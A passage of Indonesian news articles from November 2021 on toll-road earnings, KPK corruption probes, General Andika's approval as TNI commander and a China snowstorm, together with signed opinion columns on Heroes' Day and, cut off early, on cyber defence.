anak-anak muda terus bersemangat. "Dan saya yakin adik-adik pasti mengalami seperti itu dan tetaplah semangat jangan putus sampai di sini pasti Allah akan membantu," katanya. LaNyalla juga mengingatkan akan semangat Sumpah Pemuda yang telah kita peringati pada tanggal 28 Oktober yang lalu. Menurutnya, Sumpah Pemuda adalah sebuah spirit dan semangat bersatunya para pemuda untuk berbuat suatu karya yang nyata demi lahirnya sebuah bangsa, yang kemudian menjadi Republik yang ini. "Semangat itulah yang saya harapkan ada di dada Ananda dan Adik-Adik semua. Semangat untuk menghasilkan sebuah karya. Demi mengisi sejarah perjalanan bangsa dengan karya-karya nyata yang bermanfaat dan memberi sumbangsih bagi negeri ini," tandasnya. Dan dengan semangat itu pula, ia berharap generasi muda ini menjadi penerus bangsa yang memiliki karakter dan kepribadian bangsa. Dengan tetap membumikan inovasi dan kreatifitas yang kalian buat. Sehingga menjadi inspirasi bagi pemuda dan pemudi di Indonesia. Lebih lanjut ia mengungkapkan, di era global dan percepatan teknologi serta dis-rupsi di berbagai bidang saat ini, akan memberi tantangan yang sangat berat. Karena itu, ADNA Studio Creative harus mampu menjawab tantangan itu, dengan menjadi pusat kreativitas kalangan muda di Surabaya untuk memamerkan karya-karya seni dan kreatifitas lainnya. "Dan karya-karya tersebut tidak hanya terpampang di Studio ini, tetapi juga harus terpampang di media komunikasi digital lintas batas yang ada. Sehingga dapat dilihat dan diapresiasi oleh siapapun dan dimanapun. Karena digitalisasi sudah menjadi keharusan. Seperti halnya Museum, Perpustakaan dan Galeri Seni di beberapa negara yang telah menyediakan saluran digital untuk diakses oleh siapapun di penjuru dunia," ungkap LaNyalla. Apalagi generasi muda Indonesia saat ini, atau yang biasa kita sebut dengan kaum millennial, sangat identik dengan Digital Lifestyle, yang mobile, personal dan interactive. "Saya yakin, dengan Le Musee Art Exhibition kali ini, bisa menjadi pemantik semangat Warga Surabaya, khususnya generasi muda untuk bisa lebih mengeksplorasi dan menemukan sesuatu hal yang baru di bidang seni," katanya. Pada kesempatan yang sama, Wakil Gubernur Jawa Timur Emil Elestianto Dardak juga mengungkapkan kekaguman atas keberhasilan anak-anak muda Surabaya yang ternyata mampu menyulap rumah tua menjadi sebuah exhibition instalasi seni kontemporer yang keren. "Saya yakin kalau diberi kesempatan lagi akan jauh lebih keren lagi. Ini menunjukkan bahwa mereka sudah bisa mengkonversi apa yang ada menjadi sesuatu yang membanggakan. Karena seni kontemporer ini ciri khas dari kota-kota yang memiliki ciri khas di dunia seni dan kreatif. Dan ternyata di Surabaya ada dan saya salut. Kita akan terus promosikan supaya semua orang tergerak akan semakin banyak, semacam efek bola salju sehingga akan ada tempat-tempat lain yang menarik yang akan dikonversi menjadi instalasi-instalasi seni di Surabaya," aku Emil. Dukungan tersebut menurutnya sebagai upaya mendorong industri kreatif di Jawa Timur yang saat ini sudah mulai bergerak. "Kami akan terus mendorong. Karena industri kreatif itu semua tentang ekosistem. Dan karena ekonomi kreatif maka harus ada buyer atau pembeli. Nah, semakin masyarakat mengapresiasi nilai-nilai seni, maka semakin maju industri ini," pungkas mantan Bupati Trenggalek tersebut.(RAN)

Laba Bersih PT Jasa Marga pada Kuartal III Tahun 2021 Mencapai Rp 749,42 Miliar

Jakarta, Fnn - PT Jasa Marga (Persero) Tbk tetap membukukan kinerja positif dengan laba bersih kuartal III tahun 2021 sebesar Rp 749,42 miliar. Hal itu terjadi pada saat meningkatnya kasus Covid-19 gelombang kedua, Juli 2021 . Corporate Secretary Jasa Marga, Reza Febriano, dalam keterangan tertulis di Jakarta, Senin, 8 November 2021, mengatakan, kinerja kuartal III 2021 mengalami perbaikan. Hal tersebut tercermin dari pendapatan usaha yang naik sebesar 20,75 persen karena telah beroperasinya ruas-ruas jalan tol baru dan didukung oleh meningkatnya mobilisasi masyarakat. Tidak hanya itu, EBITDA juga mengalami peningkatan sebesar 29,39 persen seiring dengan meningkatnya pendapatan tol pada kuartal III 2021 yang menyebabkan peningkatan EBITDA Margin 65,07 persen. Sebagaimana dikutip dari Antara, Jasa Marga saat ini mengoperasikan total 1.246 km jalan tol atau 51 persen dari total jalan tol di Indonesia dengan total konsesi mencapai 1.603 km. Selama tahun 2021 hingga kuartal III, Jasa Marga telah mengoperasikan jalan tol sepanjang 55,94 km. Meliputi Jalan Tol BORR Seksi IIIA (Simpang Yasmin-Simpang Semplak) 2,85 km, Tol Cinere-Serpong Seksi I (Serpong-Pamulang) 6,50 km, Tol Cengkareng-Batuceper-Kunciran 14,19 km, Tol Balikpapan-Samarinda Seksi I dan V (Balikpapan-Samboja) 32,40 km. Jasa Marga menargetkan masih ada penambahan jalan tol yang beroperasi hingga akhir tahun 2021, yaitu Jalan Tol Manado-Bitung Ruas Danowudu-Bitung. Kedua ruas jalan tol tersebut ditargetkan beroperasi pada kuartal IV. Dengan turunnya level PPKM di berbagai daerah serta melihat pergerakan mobilitas masyarakat sejak September 2021, Jasa Marga memproyeksikan hingga akhir tahun 2021 tren peningkatan lalu lintas masih terjadi di Jalan Tol Jasa Marga Group. Hal ini berdasarkan histori realisasi volume lalu lintas harian rata-rata (LHR) pada Oktober 2021. Jasa Marga mencatat peningkatan LHR Jalan Tol Jasa Marga Group di seluruh Indonesia sebesar 63,03 persen jika dibandingkan dengan LHR pada masa Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) Darurat pada Juli 2021 dan 25,23 persen pada masa PPKM Level 4 pada Agustus 2021. Jika LHR Oktober 2021 dibandingkan dengan LHR September 2021 atau masa PPKM level 3 meningkat sebesar 6,64 persen. Adapun tiga ruas Jalan Tol Jasa Marga Group dengan LHR tertinggi di bulan Oktober 2021 adalah Jalan Tol Dalam Kota dengan 492.000 kendaraan, Jalan Tol Jakarta – Cikampek dengan 450.000 kendaraan dan Jalan Tol Jagorawi dengan 394.000 kendaraan. Mengantisipasi tren peningkatan volume lalu lintas, Jasa Marga selalu berkomitmen memberikan pelayanan yang terbaik kepada pengguna jalan, termasuk di masa pandemi, dengan tetap menjaga pemenuhan Standar Pelayanan Minimal di jalan tol. Di antaranya yaitu, memastikan pelayanan lalu lintas, pelayanan transaksi hingga pelayanan konstruksi tetap optimal, dengan tetap menerapkan protokol kesehatan dalam pelaksanaannya. Tidak hanya itu, Jasa Marga juga selalu meningkatkan pelayanan berbasis teknologi. Salah satu di antaranya, dengan melakukan pengembangan fitur Mobile Apps Travoy untuk cek saldo dan top-up uang elektronik, hingga menampilkan struk transaksi di jalan tol dalam bentuk digital. (MD).

Rachel Vennya Penuhi Panggilan Polisi Sebagai Tersangka

Jakarta, FNN- Selebgram Rachel Vennya memenuhi panggilan penyidik Polda Metro Jaya, diperiksa sebagai tersangka dalam kasus dugaan melarikan diri saat menjalani karantina di RSDC Wisma Atlet Pademangan usai berlibur dari luar negeri. Rachel datang di Polda Metro Jaya, Senin, 8 November 2021, menggunakan baju hitam dan memakai kaca mata. Rachel hadir bersama pacarnya Salim Nauderer dan manajernya, Maulida Khairunia. Meski demikian, Rachel memilih bungkam dan langsung masuk ke Gedung Ditreskrimum Polda Metro Jaya untuk diperiksa oleh penyidik. Penyidik Polda Metro Jaya telah menetapkan Rachel Vennya sebagai tersangka dalam kasus dugaan melarikan diri saat menjalani karantina dari Rumah Sakit Darurat (RSD) Covid-19 Wisma Atlet Pademangan usai berlibur dari luar negeri. "Karena memenuhi unsur, hasil gelar perkara menentukan empat orang tersangka," kata Kapala Bidang Hubungan Masyarakat Kepolisian Daerah Metro Jaya, Komisaris Besar Yusri Yunus saat dikonfirmasi, di Jakarta, Rabu pekan lalu. Yusri mengatakan, selain Rachel Vennya, polisi juga menetapkan manajer Rachel, Maulida Khairunnia dan kekasih Rachel, Salim Nauderer, sebagai tersangka. "RV, pacarnya sama manajernya, sama satu lagi yang membantu ada orang sipil yang ditetapkan sebagai tersangka," ujarnya, sebagaimana dikutip dari Antara. Rachel dan ketiga orang lainnya yang kini telah menyandang status tersangka Undang Undang Kekarantinaan dan Wabah Penyakit dengan ancaman hukuman satu tahun penjara. (MD).

Jenderal Andika Mengaku Belum Tahu Kapan Dilantik sebagai Panglima

Jakarta, FNN - Calon Panglima TNI Jenderal Andika Perkasa mengaku belum tahu kapan akan dilantik oleh Presiden Joko Widodo sebagai Panglima TNI setelah DPR RI memberikan persetujuan dalam rapat paripurna, Senin. "Saya belum diberi tahu (dilantik sebagai Panglima TNI). Belum dikasih tahu sampai sekarang," kata Jenderal Andika usai menghadiri Rapat Paripurna DPR RI di Kompleks Parlemen, Jakarta, Senin. Oleh karena itu, dia masih menunggu waktu untuk dilantik secara resmi oleh Presiden Joko Widodo sebagai Panglima TNI menggantikan Marsekal Hadi Tjahjanto. Selain itu Jenderal Andika menyampaikan terima kasih kepada pimpinan dan anggota DPR RI yang telah menyetujui surat presiden (surpres) terkait dengan usulan pengangkatan dirinya sebagai calon Panglima TNI. "Dan yang terpenting adalah terima kasih kepada rekan-rekan media yang telah mengikuti sejak awal prosesnya. Berikutnya saya masih menunggu untuk secara resminya dari Presiden," ujarnya. Sebelumnya, Rapat Paripurna DPR RI pada Senin (8/11) pagi menyetujui usulan Presiden Joko Widodo yang mengajukan nama Jenderal Andika Perkasa sebagai calon Panglima TNI. Persetujuan tersebut diambil setelah mendengarkan laporan Komisi I DPR yang telah menyelenggarakan rangkaian proses uji kelayakan dan kepatutan calon Panglima TNI sejak Jumat sampai dengan Minggu (5—7 November 2021). Dalam rapat paripurna tersebut, Jenderal Andika Perkasa hadir dan diperkenalkan di hadapan anggota dewan. Andika dipilih sebagai Panglima TNI untuk menggantikan Marsekal Hadi Tjahjanto yang akan memasuki masa pensiun. Dalam rapat paripurna, DPR RI juga menyetujui pemberhentian dengan hormat Marsekal Hadi Tjahjanto sebagai Panglima TNI. (mth)

Badai Salju di China Lumpuhkan Transportasi

Beijing,FNN - Badai salju yang melanda wilayah utara dan timur laut China pada Sabtu dan Ahad, 6 dan 7 November 2021 telah melumpuhkan sektor transportasi di negara itu. Badai salju masif untuk pertama kali ini mengakibatkan permukaan jalan diselimuti salju sehingga aksesnya harus ditutup. Sejumlah mobil terjebak di pergunungan, sementara perjalanan kereta api dan moda transportasi umum lainnya ditangguhkan. Pusat Meteorologi Nasional China (NMC) pada Senin, 8 November 2021 mencatat intensitas salju berkisar 20-40 milimeter pada akhir pekan di berbagai provinsi, seperti Mongolia Dalam, Hebei, Shandong, Liaoning, Beijing, dan Jilin. Beberapa wilayah di utara masih akan mengalami gelombang dingin. Sebagaimana dikutip dari Antara, Senin, 8 November 2021, gelombang dingin dari Siberia barat di Rusia menyebabkan badai salju sehingga temperatur udara di China turun sejak Sabtu, kata NMC. "Bahkan di Urumqi, Ibu Kota Daerah Otonomi Xinjiang, suhu udara turun drastis hingga sebanyak 22 derajat Celcius," tulis China Daily. Di Beijing, salju yang menutupi jalan-jalan utama semakin mengeras. Sejumlah jadwal perjalanan kereta api dari Beijing ke Shanghai dan Tianjin ditunda, dan bahkan ada yang dibatalkan. Departemen Transportasi Kota Beijing menyebutkan, lebih dari 170 bus juga disetop sementara dari kegiatan operasional Tahun ini hujan salju turun lebih awal 27 hari dibandingkan dengan rata-rata musim dingin pada periode 1991-2020 sebagaimana dilaporkan Weather.com. Pepohonan masih berdaun saat hujan salju karena semestinya masih dalam masa musim gugur. MMC melaporkan, pada bulan Oktober, La Nina telah memengaruhi udara dingin di China. "Di sebagian besar musim dingin, ketika peristiwa La Nina mencapai puncaknya, udara dingin cenderung lebih sering dan ekstrem melanda China," kata Wakil Direktur NMC Jia Xiaolong. (MD).

Resolusi Jihad dan Hari Pahlawan

Jika ada tokoh nasional yang mengatakan, China tidak memiliki ambisi imperial maka ia harus lebih banyak belajar sejarah. One Belt One Road adalah bukti ambisi imperial China itu. Oleh Daniel Mohammad Rosyid APAKAH kita masih butuh pahlawan di sebuah era ketika pragmatisme menjadi order of the day? Apakah semangat pahlawan masih relevan hari-hari ini? Apa makna Hari Pahlawan hari ini? Kita bisa menjawab pertanyaan tersebut dengan mencermati sinyalemen Bung Karno bahwa nekolim akan senantiasa mengancam Republik Indonesia dengan berbagai cara, terutama secara asimetris melalui _proxy, neo-cortex war. Sejak reformasi, kekuatan-kekuatan nekolimik itu telah melakukan "kudeta konstitusi" melalui amandemen ugal-ugalan yang telah mengubah batang tubuh UUD 1945 menjadi UUD baru yang liberal kapitalistik. Hal itu dibuktikan dengan rangkaian regulasi yang lahir kemudian selama 20 tahun terakhir. Akibat amandemen tersebut, rakyat pemilih telah dipaksa menyerahkan kedaulatannya pada partai politik yang masih feodal. Karena biaya politik yang tinggi, menyebabkan elite partai politik harus bekerjasama dengan para taipan supaya memperoleh dukungan logistik terhadap partai. Saat ini praktis yang berkuasa adalah paraI oligarch, sementara rakyat hanya dijadikan jongos politik dan ekonomi. Melalui Pemilu, hak-hak politik rakyat "ditransfer" secara bersih ke partai politik, meninggalkan rakyat dalam kondisi yang memilukan. Kudeta konstitusi melalui amandemen serampangan itu kini dilanjutkan dengan mengubah Pancasila sesuai Dekrit Presiden 5 Juli 1959 dengan Pancasila 1 Juni 1945 yang belum pernah disepakati para pendiri Republik. Kelompok kiri radikal telah melakukan upaya tersebut melalui Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) dan kemudian melalui RUU Badan Pembinaan Ideologi Pancasila. Oleh BPIP, agama telah diposisikan sebagai musuh Pancasila. BPIP berpotensi besar menjadi semacam Polit Biro PKI dahulu. Kedekatan banyak partai politik yang berkuasa saat ini dengan Partai Kominis China perlu dicermati sebagai gejala perubahan politik luar negeri yang akan menempatkan Indonesia secara politik dan ekonomi sebagai satelit China. Jika ada tokoh nasional yang mengatakan, China tidak memiliki ambisi imperial, maka ia harus lebih banyak belajar sejarah. One Belt One Road (OBOR) adalah bukti ambisi imperial China itu. Kita tentu tetap mewaspadai kekuatan Amerika Serikat (AS) dan sekutunya yang sejak Orde Baru telah menggiring Pancasila ke arah kapitalisme liberal. Negeri kepulauan bercirikan Nusantara dan memiliki kekayaan sumberdaya alam melimpah ini oleh kekuatan nekolimik tidak pernah dibiarkan begitu saja merdeka secara ekonomi. Mewaspadai Komunis Radikal Sejak Konprensi Meja Bundar (KMB) 1949, Republik ini harus mengikuti konstitusi IMF (Dana Moneter Internasional) secara moneter dan telah dijerumuskan ke kubangan hutang ribawi. Ini adalah akar kemiskinan struktural bangsa hingga hari ini. Ketika Jepang menyerah pada sekutu setelah Hiroshima dan Nagasaki dibom AS, merespons upaya pasukan sekutu kembali menjajah Indonesia tidak lama setelah proklamasi, pada 22 Oktober 1945 Hadratus Syech Hasyim Asy'ari telah mengeluarkan fatwa jihad yang kemudian dikenal sebagai Resolusi Jihad. Fatwa itu kemudian telah menginspirasi rakyat di seluruh Indonesia melawan upaya penjajahan kembali itu. Di Surabaya, Pasukan Sekutu yang dipimpin Inggris telah memberi ultimatum agar rakyat menyerah dengan menyerahkan senjata hasil rampasan perang dengan tentara pendudukan Jepang di Indonesia. Kemudian, pasukan sekutu yang telah mengalahkan Nazi Jerman di Eropa pada Perang Dunia II itu, harus kehilangan beberapa perwira tingginya dalam perang di Surabaya itu. Berbekal Resolusi Jihad, Bung Tomo melalui pidato radionya berhasil membakar semangat perlawanan rakyat melawan pasukan Sekutu. Perlu dicermati, pembonceng pasukan sekutu waktu itu bukan hanya pasukan NICA, tetapi juga elemen PKI poros-Moskow yang tidak menghendaki kemerdekaan RI. Hal itu kemudian dibuktikan dengan aksi pemberontakan PKI-Muso di Madiun pada 1948. Resolusi Jihad dalam konteks hari ini bisa kita maknai sebagai "jihad konstitusi dan aksi". Yaitu, menghidupkan kembali cita-cita proklamasi kemerdekaan yang diamanahkan dalam Pembukaan UUD45 dalam kehidupan ipoleksosbudhankam (ideologi, politik, ekonomi, sosial, budaya, pertahabkan dan keamanan) sehari-hari, terutama pendidikan dan kesehatan pasca-pandemi untuk memastikan bonus demografi kita menjadi berkah demografi. Jika pada 10 November 1945 itu kelompok PKI-Moskow diam-diam mendompleng pasukan Sekutu, hari-hari ini kesempatan mendompleng itu kemungkinan besar telah dimanfaatkan kembali oleh kelompok kiri radikal tidak saja melalui regulasi tapi juga aksi. Penulis adalah Founder dari Rosyid College of Arts and Maritime Studies, Gunung Anyar, Surabaya.

KPK Telusuri Aset Puput Tantriana dan Suami Tak Tercantum LHKPN

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menelusuri berbagai aset tersangka Bupati Probolinggo nonaktif Puput Tantriana Sari (PTS) dan suaminya, yaitu Anggota DPR RI Hasan Aminuddin (HA), yang tidak tercantum dalam Laporan Harta Kekayaan Penyelenggara Negara (LHKPN). KPK, Jumat (5/11), memeriksa Camat Kraksaan, Kabupaten Probolinggo Ponirin, dan Kepala Bagian Umum Sekretariat Daerah Kabupaten Probolinggo Heri sebagai saksi untuk tersangka Puput Tantriana Sari dalam penyidikan kasus dugaan gratifikasi dan Tindak Pidana Pencucian Uang (TPPU). "Jumat (5/11) bertempat di Polres Probolinggo, Jawa Timur, tim penyidik telah memeriksa para saksi. Tim penyidik masih terus menggali terkait dengan dugaan kepemilikan beberapa aset dari tersangka PTS dan HA yang tidak dilaporkan dan tercantum dalam LHKPN di KPK," kata Pelaksana Tugas Juru Bicara KPK Ali Fikri dalam keterangannya, di Jakarta, Senin. Kasus gratifikasi dan TPPU yang menjerat Puput Tantriana Sari merupakan pengembangan dari kasus dugaan korupsi seleksi jabatan di lingkungan Pemkab Probolinggo Tahun 2021. KPK telah menetapkan 22 tersangka dalam kasus dugaan korupsi seleksi jabatan tersebut. Sebagai penerima, yaitu Puput Tantriana Sari, Hasan Aminuddin yang merupakan suami Puput dan juga pernah menjabat sebagai Bupati Probolinggo, Doddy Kurniawan (DK) selaku Aparatur Sipil Negara (ASN)/Camat Krejengan, Kabupaten Probolinggo, dan Muhammad Ridwan (MR) selaku ASN/Camat Paiton, Kabupaten Probolinggo. Sementara 18 orang sebagai pemberi suap merupakan ASN Pemkab Probolinggo. Dalam konstruksi perkara, KPK menjelaskan bahwa pemilihan kepala desa serentak tahap II di wilayah Kabupaten Probolinggo yang awalnya diagendakan pada 27 Desember 2021 mengalami pengunduran jadwal. Adapun terhitung 9 September 2021 terdapat 252 kepala desa dari 24 kecamatan di Kabupaten Probolinggo yang selesai menjabat. Untuk mengisi kekosongan jabatan kepala desa tersebut, maka akan diisi oleh penjabat (pj) kepala desa (kades) yang berasal dari para ASN di Pemkab Probolinggo, dan untuk pengusulannya dilakukan melalui camat. KPK menyebut ada persyaratan khusus di mana usulan nama para pj kades harus mendapatkan persetujuan Hasan yang juga suami Puput dalam bentuk paraf pada nota dinas pengusulan nama sebagai representasi dari Puput, dan para calon pj kades juga diwajibkan memberikan dan menyetorkan sejumlah uang. Adapun tarif untuk menjadi pj kades di Kabupaten Probolinggo sebesar Rp20 juta per orang ditambah dalam bentuk upeti penyewaan tanah kas desa dengan tarif Rp5 juta per hektare. Setelah ditemukan bukti permulaan yang cukup, KPK juga menetapkan Puput Tantriana Sari dan suaminya sebagai tersangka kasus dugaan penerimaan gratifikasi dan TPPU dari pengembangan kasus seleksi jabatan tersebut. (sws)

KPK Dalami Peran Orang Kepercayaan Budhi Sarwono Atur Proyek

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami peran tersangka Kedy Afandi (KA) yang merupakan orang kepercayaan Bupati Banjarnegara nonaktif Budhi Sarwono (BS) mengatur proyek di Dinas PUPR Kabupaten Banjarnegara, Jawa Tengah. KPK, Jumat (5/11), memeriksa empat saksi untuk tersangka Budhi dalam penyidikan kasus dugaan korupsi turut serta dalam pemborongan, pengadaan atau persewaan pada Dinas PUPR Pemkab Banjarnegara tahun 2017-2018 dan penerimaan gratifikasi. Pemeriksaan dilakukan di Gedung Badan Pemeriksa Keuangan (BPK) Perwakilan Provinsi Daerah Istimewa Yogyakarta (DIY), Kota Yogyakarta. "Dikonfirmasi antara lain terkait dengan dugaan peran tersangka KA sebagai perpanjangan tangan tersangka BS di Pemkab Banjarnegara untuk mengatur berbagai proyek pekerjaan disertai adanya penentuan besaran komitmen fee atas proyek tersebut," kata Pelaksana Tugas Juru Bicara KPK Ali Fikri dalam keterangannya, di Jakarta, Senin. Empat saksi, yaitu Totok Setya Winata selaku PNS serta tiga wiraswasta masing-masing Triana Widodo, Hanif Ruseno, dan Lalu Panji Gusangan. Sementara seorang saksi lainnya tidak memenuhi panggilan penyidik, yakni Wasis Jatmiko selaku kontraktor. "Yang bersangkutan tidak hadir dan segera dilakukan penjadwalan ulang kembali," kata Ali. KPK telah mengumumkan Budhi dan Kedy sebagai tersangka pada Jumat (3/9). Dalam konstruksi perkara, KPK menyebut pada September 2017, Budhi memerintahkan Kedy memimpin rapat koordinasi (rakor) yang dihadiri oleh para perwakilan asosiasi jasa konstruksi di Kabupaten Banjarnegara. Dalam pertemuan tersebut, disampaikan sebagaimana perintah dan arahan Budhi, Kedy menyampaikan bahwa paket proyek pekerjaan akan dilonggarkan dengan menaikkan Harga Perkiraan Sendiri (HPS) senilai 20 persen dari nilai proyek, dan untuk perusahaan-perusahaan yang ingin mendapatkan paket proyek dimaksud diwajibkan memberikan komitmen "fee" sebesar 10 persen dari nilai proyek. Pertemuan lanjutan kembali dilaksanakan di rumah pribadi Budhi yang dihadiri oleh beberapa perwakilan Asosiasi Gapensi Banjarnegara, dan secara langsung Budhi menyampaikan di antaranya menaikkan HPS senilai 20 persen dari harga saat itu. Dengan pembagian lanjutannya adalah senilai 10 persen untuk Budhi sebagai komitmen "fee" dan 10 persen sebagai keuntungan rekanan. Selain itu, Budhi juga berperan aktif dengan ikut langsung dalam pelaksanaan pelelangan pekerjaan infrastruktur di antaranya membagi paket pekerjaan di Dinas PUPR Kabupaten Banjarnegara, mengikutsertakan perusahaan milik keluarganya, dan mengatur pemenang lelang. Kedy juga selalu dipantau serta diarahkan oleh Budhi saat melakukan pengaturan pembagian paket pekerjaan yang nantinya akan dikerjakan oleh perusahaan milik Budhi yang tergabung dalam grup Bumi Rejo. Penerimaan komitmen "fee" senilai 10 persen oleh Budhi dilakukan secara langsung maupun melalui perantaraan Kedy. KPK menduga Budhi telah menerima komitmen "fee" atas berbagai pekerjaan proyek infrastruktur di Kabupaten Banjarnegara sekitar Rp2,1 miliar. Atas perbuatannya, Budhi dan Kedy disangkakan melanggar Pasal 12 huruf i dan atau Pasal 12 B Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat 1 ke-1 KUHP. (sws)

Polisi dan Temenggung SAD Bujuk Pelaku Penembakan Serahkan Diri

Jambi, FNN - Kepolisian Daerah Jambi bersama Polres Sarolangun dibantu temenggung adat orang rimba atau Suku Anak Dalam (SAD) dan tokoh masyarakat serta perangkat desa di Kecamatan Air Hitam membujuk pelaku penembakan satpam PT Primatama Kreasi Mas (PT PKM) menyerahkan diri. Penembakan itu terjadi Jumat, 29 November 2021. Petugas Polda Jambi dan Polres Sarolangun telah berhasil mengidentifikasi pelaku penembakan kurang dari 1x24 jam setelah kejadian. Namun karena pertimbangan kondisi kamtibmas di wilayah Kecamatan Air Hitam, maka pihak kepolisian menempuh cara persuasif untuk menghadirkan pelaku penembakan, kata Kapolres Sarolangun AKBP Sugeng Wahyudiyono, melalui keterangan resminya yang diterima, Senin. Saat ini pihak kepolisian dari polres dan Polda Jambi terus melakukan pendekatan secara intens kepada seluruh elemen masyarakat, baik warga SAD maupun masyarakat desa atau dusun setempat. "Pendekatan bertujuan agar seluruh elemen masyarakat Kecamatan Air Hitam tetap bersama-sama menjaga situasi kamtibmas kondusif pasca terjadinya konflik antara masyarakat desa/dusun dengan warga SAD," kata AKBP Sugeng Wahyudiyono. Sesuai dengan hasil rapat kesepakatan bersama masyarakat Kecamatan Air Hitam dengan para temenggung SAD, salah satu poinnya adalah diserahkannya pelaku penembakan kepada pihak kepolisian sebelum memulai langkah berikutnya. Untuk tahapan pemulihan pasca konflik dengan penyelesaian secara hukum adat maupun hukum negara. Diperoleh informasi dari salah seorang temenggung SAD, yakni Temenggung Melayu Tuo bahwa telah bersedia datang dua orang warga SAD dari kelompoknya yang hendak menyerahkan diri kepada pihak kepolisian, karena sebagai pelaku penembakan satpam di PT PKM yang terjadi pada 29 Oktober 2021. Kedua pelaku yang menyerahkan diri dijemput secara langsung oleh Kapolsek Air Hitam Iptu Yurizal, Wadir Krimum Polda Jambi AKBP Tri Saksono dan Wadir Intel Polda Jambi AKBP S Bagus Santoso di Dusun Selentik, Kecamatan Air Hitam. Adapun identitas pelaku yang menyerahkan diri adalah BSL dan BSYG, Keduanya berasal dari kelompok SAD di Lubuk Jering Kecamatan Sarolangun. Saat ini keduanya sedang dalam pemeriksaan penyidik Polda Jambi dan Polres Sarolangun dengan didampingi dari KKI Warsi, dan sampai saat ini pemeriksaan masih berlangsung, sehingga pihak kepolisian belum memberikan keterangan secara resmi kepada media karena masih dalam proses pemeriksaan, kata AKBP Sugeng Wahyudiyono. Secara terpisah pihak KKI Warsi berharap kepolisian dapat memberikan jaminan keselamatan bagi warga SAD yang ada di Kecamatan Air Hitam, dan proses penyidikan terhadap pelaku penembakan dilakukan secara profesional sesuai aturan hukum yang berlaku, baik hukum adat maupun hukum negara. KKI Warsi juga mengucapkan terima kasih kepada Polda Jambi dan Polres Sarolangun yang telah berupaya melakukan pemulihan bersama pasca terjadinya konflik SAD dengan masyarakat. (sws)

Sahroni: Capaian Kinerja Densus 88 Antiteror Patut Diapresiasi

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Ahmad Sahroni mengapresiasi capaian kinerja Detasemen Khusus (Densus) 88 Antiteror Polri yang telah berhasil menangkap berbagai jaringan teroris di Indonesia. "Tentu saja capaian kinerja Densus 88 patut diapresiasi dan harus dipertahankan agar lebih hebat ke depannya," kata Sahroni, di Jakarta, Senin. Dia menilai tugas pokok Densus 88 adalah memberantas teroris yang meresahkan warga dan negara dengan segala upaya dan tindakan yang dilakukannya. Namun, menurut dia, kritikan yang disampaikan lembaga dan masyarakat terhadap kinerja Densus 88 merupakan hal yang biasa dan harus dijadikan semangat untuk perbaikan kinerja ke depan. "Kritikan terhadap Densus 88 adalah hal biasa untuk memberikan semangat atas kinerja khususnya untuk ke depannya," ujarnya. Sebelumnya, Densus 88 Antiteror Polri bersama Satgas Wilayah Lampung menangkap lagi empat terduga teroris kelompok Jamaah Islamiyah (JI) di wilayah Lampung, Jumat (5/11). Kepala Bagian Penerangan Umum (Kabagpenum) Divisi Humas Polri Kombes Pol Ahmad Ramadhan mengatakan empat terduga teroris ini ditangkap di beberapa tempat di Lampung, dengan tempo waktu penangkapan berurutan. "Densus 88 Antiteror Polri dan Satgaswil Lampung pada hari ini Jumat, tanggal 5 Nov 2021 telah melakukan penangkapan di beberapa tempat, ada di Kota Metro, Penengahan, dan Pekalongan, Lampung Timur," kata Ramadhan. Ramadhan merincikan, empat terduga teroris yang ditangkap masing-masing inisial F (34) dan AA (42), keduanya ditangkap di lokasi yang sama di Desa Purwosari, Kecamatan Metro Utara, Kota Metro, Lampung. "F ditangkap di depan rumahnya tanpa perlawanan pukul 07.30 WIB. AA juga ditangkap di depan rumahnya tanpa perlawanan, pukul 08.00 WIB," ujar Ramadhan. Berikutnya, S (47) ditangkap di Dusun Karang Anyar, Kelurahan Klaten, Kecamatan Penengahan, Kabupaten Lampung Selatan. Lalu, NA (42) ditangkap tanpa perlawanan di Jalan Raya Pekalongan, Desa Sidodadi, Kecamatan Pekalongan, Kabupaten Lampung Timur pada pukul 08.30 WIB. (sws)

Paripurna DPR Setujui Jenderal Andika Sebagai Calon Panglima TNI

Jakarta, FNN - Rapat Paripurna DPR RI pada Senin menyetujui calon Panglima TNI atas nama Jenderal Andika Perkasa yang telah diajukan Presiden Joko Widodo kepada DPR RI pada pekan lalu. "Apakah laporan Komisi I DPR tentang pemberhentian dengan hormat Marsekal Hadi dan persetujuan Jenderal Andika sebagai calon Panglima TNI dapat disetujui," kata Ketua DPR RI Puan Maharani dalam Rapat Paripurna DPR RI, di Kompleks Parlemen, Jakarta, Senin. Setelah itu, seluruh anggota DPR yang hadir dalam rapat paripurna tersebut secara virtual dan fisik menyatakan setuju Jenderal Andika Perkasa sebagai calon Panglima TNI. Ketua Komisi I DPR RI Meutya Hafid dalam laporannya mengatakan Komisi I DPR telah melaksanakan uji kelayakan calon Panglima TNI pada tanggal 6 November untuk mendengarkan visi-misi Jenderal Andika. Setelah itu, menurut dia, langsung dilanjutkan dengan pengambilan keputusan, yaitu menyetujui pemberhentian dengan hormat Marsekal Hadi Tjahjanto sebagai Panglima TNI dan memberikan apresiasi atas dedikasinya selama memimpin TNI. Kedua, menurut dia, memberikan persetujuan Jenderal Andika Perkasa sebagai Panglima TNI. (sws)

Pertahanan Siber dan Interoperabilitas TNI

Oleh: Ngasiman Djoyonegoro PERKEMBANGAN Teknologi Informasi dan Komunikasi (TIK) telah berdampak terhadap peta politik global secara signifikan. Internet telah melahirkan revolusi informasi dan sifat kekuasaan negara. Dari hard power yang bertumpu pada pemaksaan, lalu soft power yang bertumpu pada agenda framing, dan persuasi, dan sekarang menjadi cyber ​​power yang bertumpu pada komunikasi dan informasi berbasis elektronik dan komputer (Nye: 2013). Aktor-aktor non-negara bermunculan di dunia siber. Mereka dapat menjadi kekuatan ancaman. Ini terjadi karena sifat dunia siber yang mudah diakses, murah, anonimitas, dan gampang dipelajari. Kerentanan sistem internet memungkinkan serangan terhadap negara di ranah siber. Serangan siber terjadi dalam berbagai bentuk, mulai dari menghancurkan dan mencuri data, hingga mengendalikan senjata dan infrastruktur sebuah negara atau perusahaan. Banyak serangan siber telah diluncurkan dalam beberapa dekade terakhir untuk tujuan politik, ideologis, 